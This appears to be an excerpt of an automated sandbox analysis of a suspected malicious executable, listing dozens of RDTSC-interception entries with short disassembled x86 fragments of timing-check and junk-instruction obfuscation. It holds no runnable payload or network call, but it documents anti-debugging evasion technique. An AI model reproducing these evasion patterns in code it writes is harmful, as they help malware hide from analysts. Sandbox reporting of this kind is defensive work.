Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEC12 second address: 6CEC28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8B98B0Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F46B8B98B06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3F70 second address: 6D3F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3F75 second address: 6D3F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3997 second address: 6D39B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A5h 0x00000007 jne 00007F46B8DCA196h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D39B6 second address: 6D39C0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F46B8B98B0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3B55 second address: 6D3B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F46B8DCA196h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3B60 second address: 6D3B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3B66 second address: 6D3B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3B6C second address: 6D3B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3CBD second address: 6D3CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3CC1 second address: 6D3CCB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F46B8B98B06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3CCB second address: 6D3CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3CD1 second address: 6D3CD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3CD6 second address: 6D3CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jbe 00007F46B8DCA196h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 push edi 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop edi 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC450 second address: 6DC456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA950 second address: 6DA954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA954 second address: 6DA95A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA95A second address: 6DA960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA960 second address: 6DA966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA966 second address: 6DA96A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DABAE second address: 6DABB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DABB2 second address: 6DABB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DABB6 second address: 6DABE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F46B8B98B14h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jo 00007F46B8B98B06h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop esi 0x00000015 pop ebx 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DABE0 second address: 6DABE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAD51 second address: 6DAD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F46B8B98B06h 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAD61 second address: 6DAD93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F46B8DCA1A7h 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jg 00007F46B8DCA196h 0x0000001e push esi 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAE92 second address: 6DAEBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8B98B17h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F46B8B98B0Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAEBD second address: 6DAF01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F46B8DCA1A9h 0x00000008 jc 00007F46B8DCA196h 0x0000000e jnp 00007F46B8DCA196h 0x00000014 popad 0x00000015 jmp 00007F46B8DCA19Dh 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F46B8DCA19Ah 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAF01 second address: 6DAF0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F46B8B98B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB19E second address: 6DB1A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB1A2 second address: 6DB1B9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F46B8B98B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F46B8B98B0Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F019E second address: 6F01AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F46B8DCA196h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F01AD second address: 6F01B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFB6A second address: 6EFB7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F46B8DCA19Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F50C4 second address: 6F50CA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70232A second address: 702334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F46B8DCA196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702334 second address: 70234C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F46B8B98B06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F46B8B98B0Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70234C second address: 702356 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708A72 second address: 708A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F46B8B98B12h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708A8A second address: 708A9C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jne 00007F46B8DCA196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708C18 second address: 708C4A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F46B8B98B0Dh 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jng 00007F46B8B98B06h 0x00000017 pushad 0x00000018 popad 0x00000019 jl 00007F46B8B98B06h 0x0000001f jmp 00007F46B8B98B0Ah 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709032 second address: 709037 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70943D second address: 709441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D43B second address: 70D452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F46B8DCA196h 0x0000000a popad 0x0000000b pushad 0x0000000c ja 00007F46B8DCA196h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7108EF second address: 7108F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7108F5 second address: 7108F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7108F9 second address: 710933 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007F46B8B98B06h 0x00000009 pop esi 0x0000000a jns 00007F46B8B98B0Ch 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007F46B8B98B19h 0x00000018 jc 00007F46B8B98B0Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710933 second address: 71093F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71093F second address: 710943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710943 second address: 71094D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F46B8DCA196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F632 second address: 61F637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F637 second address: 61F63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712EC3 second address: 712ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712ECA second address: 712F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F46B8DCA1A5h 0x0000000b popad 0x0000000c jmp 00007F46B8DCA1A6h 0x00000011 popad 0x00000012 pushad 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F46B8DCA19Eh 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712F16 second address: 712F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712F1A second address: 712F1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714740 second address: 71474A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71474A second address: 714750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714750 second address: 71475A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F46B8B98B06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A1E3 second address: 72A1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F46B8DCA196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A1ED second address: 72A1FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F46B8B98B06h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A1FC second address: 72A203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A07D second address: 72A09A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F46B8B98B17h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A09A second address: 72A0A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CAED second address: 72CB08 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F46B8B98B15h 0x00000008 jmp 00007F46B8B98B0Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CB08 second address: 72CB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CB0C second address: 72CB22 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F46B8B98B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F46B8B98B0Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CB22 second address: 72CB26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CC9E second address: 72CCAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F46B8B98B08h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CCAB second address: 72CCB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F46B8DCA196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CCB5 second address: 72CCB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CCB9 second address: 72CCF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F46B8DCA1A2h 0x00000013 pop ebx 0x00000014 push ecx 0x00000015 jns 00007F46B8DCA196h 0x0000001b jmp 00007F46B8DCA1A1h 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CCF7 second address: 72CCFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CCFD second address: 72CD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CD01 second address: 72CD18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8B98B0Dh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CD18 second address: 72CD1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C604 second address: 73C61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F46B8B98B0Eh 0x0000000c jng 00007F46B8B98B06h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C61F second address: 73C62F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F46B8DCA196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C62F second address: 73C635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C635 second address: 73C63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C63E second address: 73C642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C642 second address: 73C646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C646 second address: 73C64C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CBCC second address: 73CBD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D04D second address: 73D053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D053 second address: 73D061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D061 second address: 73D098 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F46B8B98B06h 0x00000008 jmp 00007F46B8B98B16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F46B8B98B0Fh 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 pop eax 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D1E9 second address: 73D209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D209 second address: 73D20D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D39B second address: 73D3BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A4h 0x00000007 jc 00007F46B8DCA196h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D3BE second address: 73D3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F46B8B98B13h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D54B second address: 73D551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D551 second address: 73D55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F46B8B98B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7405C9 second address: 740660 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F46B8DCA1A1h 0x00000010 nop 0x00000011 mov edx, dword ptr [ebp+1244CC6Eh] 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F46B8DCA198h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D2DB4h], edx 0x00000039 call 00007F46B8DCA199h 0x0000003e push eax 0x0000003f jmp 00007F46B8DCA1A2h 0x00000044 pop eax 0x00000045 push eax 0x00000046 jmp 00007F46B8DCA1A7h 0x0000004b mov eax, dword ptr [esp+04h] 0x0000004f push ecx 0x00000050 push eax 0x00000051 push edx 0x00000052 jnp 00007F46B8DCA196h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740660 second address: 74067F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F46B8B98B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F46B8B98B10h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74067F second address: 740684 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740684 second address: 7406AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F46B8B98B16h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
